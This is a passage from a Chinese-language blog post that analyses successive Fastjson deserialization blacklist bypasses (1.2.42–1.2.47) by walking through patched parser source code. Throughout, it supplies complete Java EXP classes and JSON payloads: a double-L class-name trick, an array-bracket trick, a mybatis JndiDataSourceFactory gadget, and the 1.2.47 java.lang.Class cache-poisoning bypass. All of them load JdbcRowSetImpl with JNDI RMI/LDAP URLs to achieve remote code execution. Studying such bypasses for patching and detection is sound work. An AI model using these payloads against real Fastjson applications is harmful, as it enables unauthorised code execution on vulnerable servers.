补丁就多了个这个,然后黑名单改为了hash值,防止绕过,但是这个就跟sql注入一样,它是直接把传入的类名直接进行检查,如果是L开头,;结尾的直接删除,然后在
类加载的函数里面逻辑是不变的,那我们直接双写绕过就行

EXP:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class JdbcRowSetImplEXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object exp=JSON.parseObject("{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"rmi://localhost:1099/Bloyet\",\"AutoCommit\":true}");
}
}
1.2.43绕过
多了个对类名双写LL检测,发现是LL直接报错

但是还是可以绕过,在我们类名前面先设置为[,让它认为是数组类型,然后去掉[,重新进行类加载,那么"后面的[{是干嘛的?
thisObj = deserializer.deserialze(this, clazz, fieldName);
紧接着进入正常的反序列化流程,使用ObjectArrayCodec
类型的反序列化器进行反序列化,其中会提取数组中的成员类型并使用parser.parseArray
进行解析

当前token不为14时,即会判断是否为"["
,如果不是会抛出异常;
if (token != 14) {
throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + this.lexer.info());
} else {
当前token不为12 或者 16时,即会判断是否为"{"
或者 ","
,会在进入if流程后抛出异常,下面有一个char和token的对照关系;
if (token != 12 && token != 16) {
...
if (token == 14 && lexer.getCurrent() == ']') {
lexer.next();
lexer.nextToken();
typeKey = null;
return typeKey;
} else {
StringBuffer buf = (new StringBuffer()).append("syntax error, expect {, actual ").append(lexer.tokenName()).append(", pos ").append(lexer.pos());
if (fieldName instanceof String) {
buf.append(", fieldName ").append(fieldName);
}
buf.append(", fastjson-version ").append("1.2.43");
throw new JSONException(buf.toString());
}
// fastjson-1.2.43.jar!/com/alibaba/fastjson/parser/JSONLexerBase.class
this.ch == ',' this.token = 16
this.ch == '[' this.token = 14
this.ch == '{' this.token = 12
this.ch == '\'' this.token = 4
因此依次满足上面的条件即可触发payload,有个问题是为什么"{"
在逗号前后都能触发,解析过程中判断到当前字符为16,也就是逗号时,会直接跳过该字符,进入下一个字符的处理,因此在"["
后无论是先写逗号还是"{"
,最终都是解析"{"
字符
if (this.lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while(this.lexer.token() == 16) {
this.lexer.nextToken();
}
}

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class JdbcRowSetImplEXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object exp=JSON.parseObject("{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"DataSourceName\":\"rmi://localhost:1099/Bloyet\",\"AutoCommit\":true}");
}
}
所以这个payload也是一条全新的绕过思路,在前面的版本都是可以用这个payload打的
1.2.45绕过
这个版本添加了一些黑名单,但是补充还是不全,如果服务器存在mybatis组件,版本为3.0.1 ≤ 版本 ≤ 3.4.6,可以进行利用

符合set方法调用,而且还一lookup方法,并且参数也可以控制,这里很有意思啊,我们看看是怎么控制这个参数的
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class EXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object exp=JSON.parseObject("{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/Bloyet\"}}");
System.out.println(exp);
}
}
我们知道在fastjson中自动调用set方法的时候,会把properties后面的当做参数进行传入, 这里并且还是为Properties类型,走到下面调用lookup方法,方法里面还会调用properties.getProperty(DATA_SOURCE),DATA_SOURCE这个值默认是data_source,那我们跟进这个方法看看:

我们看到这个方法,他就是根据传入的kay来查找内容,它默认是查找data_source,我们的payload里面设置的data_source的值就是rmi要的值,那就直接进行漏洞利用了

1.2.47绕过
这个版本爆出了很严重的漏洞,可以说是低于1.2.47版本的通杀了
利用条件:
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
问题还是出在checkAutoType
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
...
//前面是对typeName格式的各种检测,这里我们暂时跳过
//开启autoTypeSupport,则进入白名单+黑名单检测
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
//白名单检测,这里我们无法绕过
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//黑名单检测,可以看到这里多了一个从Mapping中寻找类名的判断,绕过的关键就在这里
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
//从Mapping缓冲中加载类
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
//从deserializer中加载类
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
//通过上面两个方法加载类后返回
return clazz;
}
//默认开启白名单的情况
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//黑名单校验
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//白名单校验
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
...
return clazz;
}
如果服务器开启了autoTypeSupport,就先白名单,然后在进行黑名单,但是这里多了一个判断,如果仅仅是黑名单匹配到了还不行,还要去查找是否有这个类的缓存,如果没有才会爆异常,所以如果可以把我们想要的恶意类写入缓存中,就可以避免被黑名单匹配掉,然后程序没有报错,继续往下走,发现它直接从Mapping中读取类,然后进行加载了。所以说不管你有没有开启autoTypeSupport,按照代码的执行顺序来说,只要我们把恶意类写入了缓存中,就可以实现类加载(如果可以成功读取并加载,然后就会return走了,根本就走不到下面的if判断)
所以现在就是看怎么把恶意类写入缓存中
我们先从取出的方法来看 TypeUtils.getClassFromMapping 和 deserializers.findClass
TypeUtils.getClassFromMapping:

这里是从mapping中取值出来,写入的方法在哪呢?
其实写入的方法就在 TypeUtils.loadClass
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
...
//对类名进行检查和判断
try{
//第一处,classLoader不为null
if(classLoader != null){
clazz = classLoader.loadClass(className);
//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
//第二处,检查较为严格
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
//第三处,限制宽松,但
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
那么现在就是看看那里还有调用loadClass方法,TypeUtils.loadClass是有三个重载的,最后都是会到上面这个loadClass方法的,我们在两个参数的loadClass方法中找到了调用(两个参数的,刚好chche为true,虽然一个参数的也是会先来到两个参数的,然后在去三个参数的方法)

在MiscCodec#deserialze方法中
strVal这个参数就是我们要加载的类(className),我们看怎么控制它的值

要给strVal赋值,就要objVal不为空,并且objVal的值赋给strVal,那么现在就是看objVal怎么赋值的

if判断默认是true的(是因为在后续的 parseObject 方法中会将resolveStatus
设置为TypeNameRedirect
),然后判断json字符串中是否有val键,等等一系列要求,然后就会把val的值解析返回给objVal中

然后就是只要我们把这个写入进去,我们在去正常加载就不会被黑名单匹配掉了,看payload怎么写:
首先把它写入缓存
{
//满足clazz为Class.class
"@type":"java.lang.Class",
//有val,且值为我们要写入mapping的恶意类
"val":"com.sun.rowset.JdbcRowSetImpl"
}
然后就是正常的:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:8000/Bloyet",
"autoCommit":"true"
}
合起来:
{
"1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1099/Bloyet",
"autoCommit": true
}
}
EXP:
package org.example;
import com.alibaba.fastjson.JSON;
public class EXP_tongsha {
public static void main(String[] args) {
Object EXP = JSON.parseObject("{\n" +
" \"1\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"2\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"rmi://127.0.0.1:1099/Bloyet\",\n" +
" \"autoCommit\": true\n" +
" }\n" +
"}");
}
}
好文章:
Fastjson历史补丁Bypass分析 · BlBana’s BlackHouse
[Fastjson 反序列化漏洞 · 攻击Java Web应用-Java Web安全]